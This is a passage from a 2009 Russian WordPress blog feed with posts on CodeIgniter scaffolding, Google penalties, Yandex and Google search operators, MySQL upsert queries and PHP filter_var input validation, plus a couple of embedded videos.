<p>Но если вы сейчас попробуете обратиться по данному адресу, то увидите сообщение об ошибке, почему? Дело в том, что мы не указали в файле <strong>system\application\config\database.php</strong> с какой базой данных придется работать CodeIgniter’у, при инициализации MySQL соединения. Поэтому смело открываем данный файл и изменяем значение переменной $db['default']['database'] на test_db. Т.е. на имя вашей базы.</p>
<p>Всё готово, идем по адресу http://сodeIgniter/index.php/welcome/scaffolding и видим web-приложение в котором можно очень просто и без всяких лишних функций создавать записи в базе данных. Для наглядности, на картинке внизу показана страничка добавления записи в нашу test_table</p>
<p><a href="http://saintist.ru/wp-content/uploads/2009/06/scaffolding-adding-data.jpg"><img class="alignnone size-full wp-image-535" title="scaffolding-adding-data" src="http://saintist.ru/wp-content/uploads/2009/06/scaffolding-adding-data.jpg" alt="scaffolding-adding-data" width="530" height="245" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/06/18/scaffolding-codeigniter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Запрещенная реклама года молодежи</title>
		<link>http://saintist.ru/2009/06/17/zapreshhennaya-reklama-goda-molodezhi/</link>
		<comments>http://saintist.ru/2009/06/17/zapreshhennaya-reklama-goda-molodezhi/#comments</comments>
		<pubDate>Wed, 17 Jun 2009 06:45:34 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[YouTube и нетолько]]></category>
		<category><![CDATA[Реклама]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=531</guid>
		<description><![CDATA[Стоит посмотреть всем! Сделано очень сильно]]></description>
			<content:encoded><![CDATA[<p>Стоит посмотреть всем! Сделано очень сильно<br />
<object type="application/x-shockwave-flash" style="width:425px; height:355px;" data="http://www.youtube.com/v/2c1gC46wEjU&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0"><param name="movie" value="http://www.youtube.com/v/2c1gC46wEjU&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0" /></object> </p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/06/17/zapreshhennaya-reklama-goda-molodezhi/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Как восстановить сайт в Гугл</title>
		<link>http://saintist.ru/2009/06/12/kak-vosstanovit-sajt-v-gugl/</link>
		<comments>http://saintist.ru/2009/06/12/kak-vosstanovit-sajt-v-gugl/#comments</comments>
		<pubDate>Fri, 12 Jun 2009 18:19:16 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Google]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=529</guid>
		<description><![CDATA[Сотрудники отдела контроля качества поиска опубликовали видео с советами, как сделать правильный запрос на повторное рассмотрение сайта, который получил пенальти или был исключен из индекса поисковой системы. Подать заявку можно в админке Google Webmaster Tools, выбрав Request reconsideration. Основные моменты : В общем, нужно иметь в виду следующее: 1. В запросе обязательно указывать, что именно [...]]]></description>
			<content:encoded><![CDATA[<p>Сотрудники отдела контроля качества поиска опубликовали видео с советами, как сделать правильный запрос на повторное рассмотрение сайта, который получил пенальти или был исключен из индекса поисковой системы.<br />
Подать заявку можно в админке Google Webmaster Tools, выбрав Request reconsideration.</p>
<p>Основные моменты :<br />
<span id="more-529"></span><br />
<object type="application/x-shockwave-flash" style="width:425px; height:355px;" data="http://www.youtube.com/v/G959-2RlPyA&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0"><param name="movie" value="http://www.youtube.com/v/G959-2RlPyA&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0" /></object></p>
<p>В общем, нужно иметь в виду следующее:</p>
<p>1. В запросе обязательно указывать, что именно было сделано с сайтом, а не просто &#171;я все исправил&#187;. Внимательно читайте гайдсы для вебмастеров и делайте так, чтобы никаких нарушений на сайте не было.</p>
<p>2. Если вы были замечены в получении &#171;плохих ссылок&#187;, то вам нужно наглядно показать, что вы всеми силами пытаетесь исправить ситуцию (не понятно, что они под этим имеют в виду).</p>
<p>3. Пользуйтесь инструментами в Google Webmaster Tools, чтобы узнать о возможных проблемах на сайте.</p>
<p>4. Если на сайт было наложено пенальти, то восстановление сайта в выдаче может занять определенное время, даже после положительного решения вопроса о пересмотре сайта.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/06/12/kak-vosstanovit-sajt-v-gugl/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Определение Google Penalty</title>
		<link>http://saintist.ru/2009/06/12/opredelenie-google-penalty/</link>
		<comments>http://saintist.ru/2009/06/12/opredelenie-google-penalty/#comments</comments>
		<pubDate>Fri, 12 Jun 2009 18:15:32 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Google]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=527</guid>
		<description><![CDATA[1. Следите за статистикой &#8212; нет ли провалов по трафику или каких-либо подобных нездоровых тенденций. 2. Проверяйте индексацию запросом [site:yoursite.com] в Гугле &#8212; не изменилось ли резко число страниц. 3. Проверьте, нет ли проблем с сайтом в Google Webmaster Tools. 4. Посмотрите PR на тулбаре Гугла (серая полоска &#8212; это крайне плохой знак). 5. Сделайте [...]]]></description>
			<content:encoded><![CDATA[<p>1. Следите за статистикой &#8212; нет ли провалов по трафику или каких-либо подобных нездоровых тенденций.<br />
<span id="more-527"></span><br />
2. Проверяйте индексацию запросом [site:yoursite.com] в Гугле &#8212; не изменилось ли резко число страниц.</p>
<p>3. Проверьте, нет ли проблем с сайтом в Google Webmaster Tools.</p>
<p>4. Посмотрите PR на тулбаре Гугла (серая полоска &#8212; это крайне плохой знак).</p>
<p>5. Сделайте поиск по &#171;имени-домена&#187; (без зоны, т.е. actualkeywords, например) &#8212; если нет среди первых страниц, то почти наверняка пенальти.</p>
<p>6. Проверьте, не считает ли Гугл ваш сайт &#171;опасным&#187;: http://www.google.com/safebrowsing/diagnostic?site=yoursite.com.</p>
<p>7. Проверьте HTML код страниц сайт на предмет наличия там левых ссылок или прочих чужеродных вставок.</p>
<p>8. Проверьте другие ваши сайты. Бывает так, что Гугл дает пенальти домену, на котором NS-ы размещены.</p>
<p>9. Сделайте поиск в Гугле по точному вхождению длинной фразы с какой-либо страницы сайта &#8212; именно та страница, с который вы фразу взяли, должна быть на первом месте.</p>
<p>10. Проверьте, нет ли такого, что страницы сайта показываются только при добавления параметра &#038;filter=0 в урл поиска либо по нажатию на “show omitted results” (обынчо это за дублрированный контент накладывается).</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/06/12/opredelenie-google-penalty/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Поисковые операторы Яндекса</title>
		<link>http://saintist.ru/2009/06/11/poiskovye-operatory-yandeksa/</link>
		<comments>http://saintist.ru/2009/06/11/poiskovye-operatory-yandeksa/#comments</comments>
		<pubDate>Thu, 11 Jun 2009 19:32:59 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Яндекс]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=525</guid>
		<description><![CDATA[1. #image”значение” Пример: #image”пион” Ищет картинки с названием, заданной в поле “значение”. В данном случае &#8212; найдет картинки, на которых изображен пион. 2. #abstract(выражение) Пример: #abstract(тренинги) Ищет заданные выражения в описаниях (description) страницы. 3. #keywords(выражение) Пример: #keywords(комедия) Ищет страницы с обозначенным ключевым словом (должно быть прописано в keywords страницы). В данном случае, найдет страницы, где [...]]]></description>
			<content:encoded><![CDATA[<p><strong>1. #image”значение”</strong></p>
<p>Пример: #image”пион”<br />
Ищет картинки с названием, заданной в поле “значение”.<br />
В данном случае &#8212; найдет картинки, на которых изображен пион.<br />
<span id="more-525"></span><br />
<strong>2. #abstract(выражение)</strong></p>
<p>Пример: #abstract(тренинги)<br />
Ищет заданные выражения в описаниях (description) страницы.</p>
<p><strong>3. #keywords(выражение)</strong></p>
<p>Пример: #keywords(комедия)<br />
Ищет страницы с обозначенным ключевым словом (должно быть прописано в keywords страницы). В данном случае, найдет страницы, где в метатеги keywords прописано слово “комедия”.</p>
<p><strong>4. $title(выражение)</strong></p>
<p>Пример: $title (секреты успеха)<br />
Аналогично предыдущему оператору, но ищет страницы, у которых заданное выражение прописано в теге title.</p>
<p>www.seozavr.ru &#8212; автоматическое размещение статей с прямыми ссылками</p>
<p><strong>5. #hint=(выражение)</strong></p>
<p>Пример: #hint=(пион)<br />
Находит картинки с подписью, заданной в поле “выражение”</p>
<p><strong>6.#url=”значение”</strong></p>
<p>Пример: тренеры #url=”www.2b2b.ru” ; #url=”www.2b2b.ru” ;</p>
<p>Ищет заданное выражение (тренеры) на заданной странице; если задать без выражения, как во втором примере &#8212; в принципе. можно узнать количество страниц сайта, проиндексированных Яндексом, если нет возможности воспользоваться другим инструментом для этой цели.</p>
<p><strong>7. #mime=”pdf”</strong></p>
<p>Пример: тренинги #mime=”pdf”<br />
Аналогично поиску Google по типам файлов. То есть ищет документы (файлы, страницы) заданного типа, в данном случае &#8212; pdf, в которых встречается заданное выражение (здоровье).</p>
<p><strong>8. host=”www.host.ru”</strong></p>
<p>Пример: host=”www.yandex.ru”<br />
Оператор аналогичен url с именем хоста, но учитывает все зеркала сайта.</p>
<p><strong>9. rhost=”ru.url.*” ; rhost=”ru.url.www”</strong></p>
<p>Пример: rhost=”ru.yandex.*”<br />
Оператор аналогичен host, но имя хоста записывается в обратном порядке — вначале домен верхнего уровня, затем второго и т. д. Если в конце указано .*, то поиск идет по всем поддоменам заданного домена (но не включая домен ru.url).</p>
<p><strong>10. lang”язык”</strong></p>
<p>Пример: lang”uk”<br />
Команда ищет сайты на определенном языке. В данном &#8212; примере &#8212; украинском. ru &#8212; русский, en &#8212; английский, de &#8212; немецкий, fr &#8212; французский.</p>
<p><strong>11. like=”url.ru/file.html”</strong></p>
<p>Пример: like=”www.yandex.ru”<br />
отбирает для поиска страницы, похожие на заданный адрес.</p>
<p><strong>12. like”выражение”</strong></p>
<p>Пример: like”комедия положений”<br />
Ищет точное соответствие на страницах фразы, заключенной в кавычки (цитаты).</p>
<p><strong>13. domain=”домен”</strong></p>
<p>Пример: блоги domain=”mail”<br />
Приизводит поиск по страницам, которые расположены в заданном домене.</p>
<p><strong>14. date=”ГГГГ{*|ММ{*|ДД}}”</strong></p>
<p>Пример: date=”200310*”<br />
Поиск производится только по страницам, дата которых удовлетворяет заданному условию.</p>
<p><strong>15.cat(ID региона) ; cat(ID темы)</strong></p>
<p>Пример: рыба cat(75)<br />
Ищет запрос (рыба) по сайтам, зарегистрированным в Яндекс каталоге и соответствующим обозначенному региону (в данном случае &#8212; 75 &#8212; код Владивостока). Либо же по теме в каталоге.<br />
Список регионов и их ID можно посмотреть здесь &#8212; <a href="http://ya-reg.net.ru/">http://ya-reg.net.ru/<strong></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/06/11/poiskovye-operatory-yandeksa/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Поисковые операторы Google</title>
		<link>http://saintist.ru/2009/06/11/poiskovye-operatory-google/</link>
		<comments>http://saintist.ru/2009/06/11/poiskovye-operatory-google/#comments</comments>
		<pubDate>Thu, 11 Jun 2009 19:30:57 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Google]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=523</guid>
		<description><![CDATA[Список поисковых операторов в Google. Когда надо &#8212; нет под рукой. Надеюсь пригодится. 1.Cashe: Пример: Cash:www.2b2b.ru Выводит страницу из кэша с указанным URL. C другими поисковыми операторами не сочетается, пробел между двоеточием и оператором, двоеточием и URL ставить нельзя. 2.Link: Пример: Link:2b2b.ru Показывает внешние ссылки на страницу, веб-сайт. Не ставить пробел между оператором и URL. [...]]]></description>
			<content:encoded><![CDATA[<p>Список поисковых операторов в Google. Когда надо &#8212; нет под рукой. Надеюсь пригодится.</p>
<p><strong>1.Cashe:</strong><br />
Пример: Cash:www.2b2b.ru<br />
Выводит страницу из кэша с указанным URL.<br />
C другими поисковыми операторами не сочетается, пробел между двоеточием и оператором, двоеточием и URL ставить нельзя.<br />
<span id="more-523"></span><br />
<strong>2.Link:</strong><br />
Пример: Link:2b2b.ru<br />
Показывает внешние ссылки на страницу, веб-сайт.<br />
Не ставить пробел между оператором и URL.</p>
<p><strong>3.Related:</strong><br />
Пример: Related:www.2b2b.ru<br />
Выводит сайт тематически (по ключевикам, title &#8212; ам)связынные с названным.<br />
Не сочетается с другими операторами, нельзя использовать пробел между URL и оператором.</p>
<p><strong>4. Info:</strong><br />
Пример: info:www.2b2b.ru<br />
Показывает информацию о странице.<br />
Не сочетается с другими операторами, нельзя использовать пробелы.</p>
<p><strong>5.Define, what is, what are</strong><br />
Пример: What is podcast<br />
Показывает определения понятий, взятых из онлайновых источников.<br />
Не сочетается с другими операторами. Если указано несколько понятий (слов, значение которых вы хотите узнать) &#8212; воспринимает их, как единую фразу.</p>
<p><strong>6. Stocks:</strong><br />
Пример: stocks: goog<br />
Поиск биржевых котировок по нескольким источникам (используются службы Yahoo Finance, Fool.com, MSN MoneyCentral и ClearStation)<br />
Не сочетается с другими операторами и ключевыми словами. В поиске используется пробел</p>
<p><strong>7. Allinurl:</strong><br />
Пример: allinurl:тренинг<br />
Находит страницы, в URL которых встречаются указанные ключевые слова<br />
Не сочетается с другими операторами и ключевыми словами</p>
<p><strong>8.Inurl:</strong><br />
Пример: pharmaceutical inurl:investor<br />
Это значит, что будют найтены сайты, вернее странице, в адресе которых находится слово investor, а на самой странице содержится слово pharmaceutical.<br />
Хорошо сочетается с другими операторами. Не ведется поиск по наименованию протокола (http://, ftp:// и так далее). Поскольку в URL могут встречаться спецсимволы, не обрабатываемые Google, это может привести к неожиданным результатам поиска</p>
<p><strong>9. Inanchor:</strong><br />
Пример: рестораны inanchor:спорт<br />
Ищет ключевые слова в тексте ссылок<br />
Хорошо сочетается с другими операторами</p>
<p><strong>10.movie:</strong><br />
Пример: movie: Название фильма<br />
Ищет обзоры кинофильмов, места, где данный фильм транслируется.<br />
Используется с пробелом</p>
<p><strong>11. book</strong><br />
Пример: book Сто лет одиночества<br />
Ищет среди книг, можно найти полный текст книги (такие ссылки, как правило, подсвечиваются вначале).</p>
<p><strong>12. Phonebook: Rphonebook: Bphonebook:</strong><br />
Пример: rphonebook: bill jones NY<br />
Поиск телефонных номеров по обычным или бизнес-справочникам<br />
Не сочетается с другими операторами. Актуален в первую очередь для Северной Америки. То есть, телефон Васи Петрова, скорее всего, не найдете.</p>
<p><strong>13. Site:</strong><br />
Пример: тренинги site:www.2b2b.ru<br />
Ищет ключевое слово исключительно на страницах указанного сайта. Если не писать ключевое слово &#8212; покажет количество приндексированных страниц.<br />
Хорошо сочетается с другими операторами. Между оператором и ключевым словом не ставится пробел. Поскольку такой запрос разбирается справа налево, необходимо обязательно указывать домен верхнего уровня (.net, .com, .by, .ru и т.д.), иначе результаты поиска будут неполными</p>
<p><strong>14.Allintitle:</strong><br />
Пример: Allintitle: бизнес тренинги<br />
Ищет страницы, в теге Title которых используется ключевое слово или фраза<br />
Используется с пробелом, плохо сочетается с доругими операторами.</p>
<p><strong>15.Intitle:</strong><br />
Пример: Intitle: кино<br />
Похож на предыдущий, но тот ищет все слова, которые вы указали, этот &#8212; определенное.</p>
<p><strong>16. Allintext:</strong><br />
Пример: Allintext:белые мыши<br />
Ищет страницы, где в тексте страницы встречаются все указанные слова.<br />
Не сочетается с другими операторами. Область применения ограничена. Может быть использован в запросах типа «Найти ключевое слово во всех элементах, кроме заголовка, ссылок и url»</p>
<p><strong>17. Filetype:</strong><br />
Пример: Вечная молодость Filetype:mp3<br />
Ищет файты нужного вам формата (mp3, doc, pdf и так далее)<br />
Хорошо сочетается с другими операторами и несколькими ключевыми словами. Список поддерживаемых расширений файлов можно найти туточки.</p>
<p><strong>18. Numrange:</strong><br />
Пример: Наполеон numrange:1812-1815<br />
Ищет нужное ключевое слово, соответсвенно указанным датам. В этом запросе покажет сайта, на которых содержаться сведения о Ниполеоне периода 1812-1815<br />
Хорошо сочетается с другими операторами и несколькими ключевыми словами</p>
<p><strong>19. Author:</strong><br />
Пример: flying author:Hamish author:Reid<br />
Ищет в GOGLE groups. То есть просто для поиска в вебе бесполезен. Ищет по автору сообения.<br />
Хорошо сочетается с другими операторами и несколькими ключевыми словами</p>
<p><strong>20. Group:</strong><br />
Пример: ivan doig group:rec.arts.books<br />
Ищет по определенным группам ( в Google Groups)</p>
<p><strong>21. Insubject:</strong><br />
Пример: insubject:”crazy quilts”<br />
Ищет сообщения с указанными сдовами в тексте сообщения. Поиск по Google Groups.</p>
<p><strong>22. Msgid:</strong><br />
Поиск сообщений, с конкретно увказанным ID.<br />
Поиск по Google Groups.</p>
<p><strong>23. source:</strong><br />
Пример: peace source:ha_aretz<br />
Поиск новостей из указанных источников. Поиск по Google News</p>
<p><strong>24. location:</strong><br />
Пример: queen location:uk<br />
Поиск новостей в указанном регионе. Поиск в Google News. Запрос, приведенный в качестве примера найдет новсти про кооролеву Великобритании.</p>
<p><strong>25.store:</strong><br />
Пример: jeans store:gap<br />
Поиск товаров в каталоге Froogle</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/06/11/poiskovye-operatory-google/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL INSERT или UPDATE</title>
		<link>http://saintist.ru/2009/06/01/mysql-insert-ili-update/</link>
		<comments>http://saintist.ru/2009/06/01/mysql-insert-ili-update/#comments</comments>
		<pubDate>Mon, 01 Jun 2009 19:11:58 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[MySQL]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=520</guid>
		<description><![CDATA[Начиная с MySQL 4.1 была введена конструкция позволяющая сформировать запрос на обновление либо добавление данных в зависимости от условия, однако, многие по прежнему не пользуются ей. Предположим, вы пишете веб-сайт, который обращается к базе данных. И чем больше трафика, тем дольше обрабатывается отправленая информация. При этом стоит помним, что это нужно умножить на количество пользователей, [...]]]></description>
			<content:encoded><![CDATA[<p>Начиная с MySQL 4.1 была введена конструкция позволяющая сформировать запрос на обновление либо  добавление данных в зависимости от условия, однако, многие по прежнему не пользуются ей.<br />
<span id="more-520"></span><br />
Предположим, вы пишете веб-сайт, который обращается к базе данных. И чем больше трафика, тем дольше обрабатывается отправленая информация. При этом стоит помним, что это нужно умножить на количество пользователей, которые посещают сайт. Это особенно актуально, когда базы данных находятся не не том же сервере, что и сам сайт. Это особенно актуально для людей, которые арендуют хостинг у кого-либо. Хостеры разносят сервера по их назначению. Например Server1 отвечает за хранение самих сайтов и их работу, а Server_2 отвечает за хранение баз данных и их работу. Эти сервера соединены по сети. Поэтому очень актуально уменьшить время, которое отводится на обработку запроса к базе.</p>
<p>Пример:</p>
<p><code>CREATE TABLE ipstat(ip int UNSIGNED NOT NULL PRIMARY KEY,<br />
hits int UNSIGNED NOT NULL,<br />
last_hit timestamp);</code></p>
<p><code>INSERT INTO ipstat<br />
VALUES(inet_aton(’192.168.0.1?),1,now())<br />
ON duplicate KEY UPDATE hits=hits+1;</code></p>
<p>Обратите внимание на функцию <strong>inet_aton</strong>, которая использована в примере. Она преобразовывает IP-адрес из строковой переменной в порядковое числительное(integer). А это в свою очередь позволяет сохранить IP-адрес в 4 байтах вместь 15.</p>
<p>Зачем используем типа <strong>timestamp </strong>для поля last_hit. Это позволит не определять метку времени при вставке/обновлении записей. Как только вы вставите новую запись, либо обновите старую, поле автоматически обновится и получит метку времени равную моменту вставки/обновления. Обратите внимание. что в примере значение поля last_int указывается явным образом. Это не ошибка. Дело в том, что в случае, если мы опустим значение поля last_int, в запросе будут передаваться данные только для двух полей(из трёх). В этом случае нам нужно модифицировать запрос и указать явным образом названия полей, для которых передаются значения.</p>
<p>Что сделает запрос? </p>
<p> Если не найдено ни одной записи с передаваемым IP-адресом в качестве значения поля ip, в таблицу будет занесена новая запись. В противном случае, найденая запись будет обновлена. Значение поля с меткой времени изменится. Поле ip является PRIMARY KEY.</p>
<p>Какова выгода от использования данной конструкции по сравнению с INSERT+UPDATE?!<br />
Зависит от количества записей в базе. В среднем уменьшение времени выполнения запросов на 30%. Ещё одним важным моментом является более лёгкое отслеживание ошибок. Простота восприятия.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/06/01/mysql-insert-ili-update/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Фильтрация данных в PHP</title>
		<link>http://saintist.ru/2009/06/01/filtraciya-dannyx-v-php/</link>
		<comments>http://saintist.ru/2009/06/01/filtraciya-dannyx-v-php/#comments</comments>
		<pubDate>Mon, 01 Jun 2009 11:01:35 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=515</guid>
		<description><![CDATA[Фильтрация данных — одна из самых важных вещей, которой надо уделять внимание при разработке веб-сайта. Опытным программистам известно, что: данным, полученным от пользователя, доверять нельзя. Обычно для этого пользуются регулярными выражениями, но начиная с версии 5.2.0, в PHP есть специальные функции, которые выполняют эту работу. Введение Как было отмечено выше, начиная с версии 5.2.0 в [...]]]></description>
			<content:encoded><![CDATA[<p>Фильтрация данных — одна из самых важных вещей, которой надо уделять внимание при разработке веб-сайта. Опытным программистам известно, что: данным, полученным от пользователя, доверять нельзя.</p>
<p>Обычно для этого пользуются регулярными выражениями, но начиная с версии 5.2.0, в PHP есть специальные функции, которые выполняют эту работу.</p>
<p><span id="more-515"></span><br />
<strong>Введение</strong></p>
<p>Как было отмечено выше, начиная с версии 5.2.0 в PHP присутствуют специальные функции для фильтрации данных. Одна из таких функций &#8212; filter_var. Сначала нам необходимо убедиться, что нужные нам функции установлены и доступны. Для этого напишем простенький скрипт:</p>
<p><code>if (function_exists('filter_list'))<br />
{<br />
echo 'список фильтров установлен!';<br />
} else {<br />
die('Ошибка: фильтры не найдены.');<br />
}</code><br />
Если все в порядке и функции фильтров установлены, давайте продолжим. Взглянем на список установленных фильтров. Получить список фильтров можно уже известной нам функцией filter_list:</p>
<p><code>echo "<br />
\n";<br />
$filters = filter_list();<br />
foreach ($filters as $filter)<br />
{<br />
echo " ".$filter." \n";<br />
}<br />
echo " \n";</code></p>
<p>В результате выполнения этой программы мы получим список фильтров, которыми можем пользоваться.</p>
<p><strong>Три способа фильтрации данных</strong></p>
<p>Существует три основных способа фильтрации входных данных:</p>
<p><strong>Validate (проверка)</strong> — позволяет проверить и убедиться в том, что введенные данные действительно являются тем, что ожидается. Флаги проверки имеют префикс <strong>FILTER_VALIDATE_</strong></p>
<p><strong>Sanitize (очистка)</strong> — “Очищает” входящие данные. Убирает, экранирует или кодирует недозволенные символы. Флаги очистки начинаются с <strong>FILTER_SANITIZE_</strong></p>
<p><strong>Flags (флаги) </strong>— с помощью флагов вы можете задавать различные варианты поведения фильтров. Флаги бывают как общими для всех фильтров, так и специфические флаги для конкретных фильтров. Обычно они начинаются с <strong>FILTER_FLAG_</strong><br />
filter_var($var, FLAG[, FLAGS])</p>
<p>Функция<strong> filter_var()</strong> принимает как минимум два параметра — имя переменной, которую вы собираетесь фильтровать и флаг. Давайте начнем с примера, который очень часто требуется: валидация (проверка) корректности e-mail адреса. Для этого мы будем использовать функцию <strong>filter_var()</strong> и флаг <strong>FILTER_VALIDATE_EMAIL</strong>.</p>
<p><code>$email = 'fgdjkdgdfghdsdfj';<br />
$vaild_email = filter_var($email, FILTER_VALIDATE_EMAIL);</code><br />
Результат работы этой функции имеет логический тип(bool) и принимает значениеtrue если строка успешно прошла через фильтр, и false в обратном случае:</p>
<p><code>if ($valid_email !== false)<br />
{<br />
echo "E-mail адрес корректный";<br />
} else {<br />
echo "Некорректный E-mail адрес";<br />
}</code><br />
Так как fgdjkdgdfghdsdfj — это, конечно же, некорректный e-mail адрес, то фильтр вернет false. Все очень просто, не так ли? Всего лишь вызов одной функции вместо громоздкого регулярного выражения.</p>
<p>Константы фильтров (флаги)</p>
<p>Давайте для примера создадим несколько различных переменных, на которых и будем демонстрировать наши фильтры.</p>
<p><code>$int = 432;<br />
$bool = true;<br />
$float = 432.43;<br />
$reg = "/^([a-zA-Z0-9 ]){4,16}$/";<br />
$url = "http://devolio.com/blog";<br />
$email = 'joey@devolio.com';<br />
$ipaddr = '127.0.0.1';<br />
$ipres = "192.168.0.*";<br />
$ipv6addr = "2001:0db8:85a3:08d3:1319:8a2e:0370:7334";<br />
$string = "abcdefghijklmnopqrstuvwxyzABCD<br />
EFGHIJKLMNOPQRSTUVWXYZ1234 567890`~!@#$%^&amp;*()-_<br />
=+[{]};:'\"&lt;,&gt;.?/|\\n\\r\\t";<br />
$int_octal = decoct(800.82);<br />
$int_hex = dechex(800.82);</code><br />
Также обратите внимание, что переменная $string содержит символы табуляции и переносы строк, для того чтобы лучше было видно что именно фильтруется.</p>
<p>Ниже представлены константы фильтров, которые мы будем использовть. Кстати говоря, это не все фильтры, которые существуют.</p>
<p><strong>Проверка типа переменной и валидация*</strong></p>
<p>* Валидация дает уверенность в том, что вы получите именно то что надо, или вообще ничего.</p>
<p><strong>FILTER_VALIDATE_INT</strong> — проверка на целое число.</p>
<p><code>$valid_int = filter_var($int, FILTER_VALIDATE_INT);<br />
if ($valid_int !== false)<br />
{<br />
// проверка прошла успешно, $valid_int — целое число<br />
} else {<br />
// проверка не прошла<br />
}</code></p>
<p><strong>FILTER_VALIDATE_FLOAT</strong> — проверка на число с плавающей точкой</p>
<p><strong>FILTER_VALIDATE_BOOLEAN</strong> — проверка на булево число</p>
<p><strong>FILTER_VALIDATE_URL</strong> — проверка на URL-адрес</p>
<p><strong>FILTER_VALIDATE_EMAIL</strong> — уже знакомая нам проверка e-mail адреса</p>
<p><strong>FILTER_VALIDATE_IP</strong> — проверка IP-адреса</p>
<p><strong>FILTER_UNSAFE_RAW</strong> — проверка на небезопасный, &#171;сырой&#187; текст.</p>
<p>Очистка данных</p>
<p>Очистка данных позволяет убрать или закодировать символы в контексте ваших потребностей.</p>
<p><strong>FILTER_SANITIZE_STRING</strong> — базовая очистка строки. Удаляет символы <code>&lt;&gt;?</code></p>
<p><code>$san_string = filter_var($string, FILTER_SANITIZE_STRING);</code></p>
<p><strong>FILTER_SANITIZE_STRIPPED</strong> — базовая очистка строки. Удаляет символы <code>&lt;&gt;? </code></p>
<p><strong>FILTER_SANITIZE_ENCODED</strong> — кодирует символы <code>`~!@#$%^&amp;*()=+[{]};:'".?/| в %hex </code></p>
<p><strong>FILTER_SANITIZE_SPECIAL_CHARS</strong> — кодирует специальные символы <code>&lt;&gt;&amp;" в &amp;type;</code></p>
<p><strong>FILTER_SANITIZE_EMAIL</strong> — убирает символы <code>&lt;&gt;();:,\” </code></p>
<p>FILTER_SANITIZE_URL — оставляет только a-zA-Z0-9`~!@#$%^&amp;*()-_=+[{]};:&#8217;&#187;&lt;,&gt;.?/|</p>
<p><strong>FILTER_SANITIZE_NUMBER_INT</strong> — оставляет только <code>1234567890-+</code></p>
<p>FILTER_SANITIZE_NUMBER_FLOAT — оставляет только 1234567890-+.</p>
<p><strong>FILTER_SANITIZE_MAGIC_QUOTES</strong> — кодирует <code>'”\, </code>точно так же как и magic quotes</p>
<p><strong>Флаги</strong></p>
<p>Флаги — это дополнительные параметры фильтров. Большинство флагов предназначено для конкретных режимов проверки/очистки.</p>
<p><strong>FILTER_FLAG_ALLOW_OCTAL</strong> (только для фильтров <strong>*_INT</strong>) — разрешает восьмеричные цифры для фильтров <strong>*_IN</strong>T.</p>
<p><strong>$allow_octal = filter_var($int_octal, FILTER_SANITIZE_NUMBER_INT, FILTER_FLAG_ALLOW_OCTAL);<br />
FILTER_FLAG_ALLOW_HEX (*_INT filters only)</strong> — разрешает шестнадцатиричные цифры для фильтров <strong>*_INT</strong>.</p>
<p><strong>FILTER_FLAG_STRIP_LOW</strong> — вырезает все символы, код которых меньше 32 (ASCII)</p>
<p><strong>FILTER_FLAG_STRIP_HIGH</strong> — вырезает все символы с кодами больше 127 (ASCII)</p>
<p><strong>FILTER_FLAG_ENCODE_LOW</strong> — кодирует все символы, код которых меньше 32 (ASCII)</p>
<p><strong>FILTER_FLAG_ENCODE_HIGH</strong> — кодирует все символы с кодами больше 127 (ASCII)</p>
<p><strong>FILTER_FLAG_NO_ENCODE_QUOTES</strong> — игнорирует символы<code> ' и "</code></p>
<p><strong>FILTER_FLAG_ALLOW_FRACTION</strong> (только для фильтров <strong>*_NUMBER_FLOAT</strong>) — разрешает только<strong> 1234567890-+</strong>.</p>
<p><strong>FILTER_FLAG_ALLOW_THOUSAND</strong> (только для фильтров <strong>*_NUMBER_FLOAT</strong>) — разрешает только <strong>1234567890-+</strong>,</p>
<p><strong>FILTER_FLAG_ALLOW_SCIENTIFIC (только для фильтров *_NUMBER_FLOAT)</strong> — разрешает только <strong>eE1234567890-+</strong></p>
<p><strong>FILTER_FLAG_SCHEME_REQUIRED</strong> (только для VALIDATE_URL) — требует присутствия схемы URL <strong>(http://, ftp:// и т.д.</strong>)</p>
<p><strong>FILTER_FLAG_HOST_REQUIRED</strong> (только для VALIDATE_URL) — требует присутствия URL-хоста</p>
<p><strong>FILTER_FLAG_PATH_REQUIRED</strong> (только для <strong>VALIDATE_URL</strong>) — требует присутствия URL-пути</p>
<p><strong>FILTER_FLAG_QUERY_REQUIRED</strong> (только для <strong>VALIDATE_URL</strong>) — требует присутствия URL строки запроса</p>
<p>FILTER_FLAG_IPV4 (только для VALIDATE_IP) — требует, чтобы IP-адрес был в формате IPV4</p>
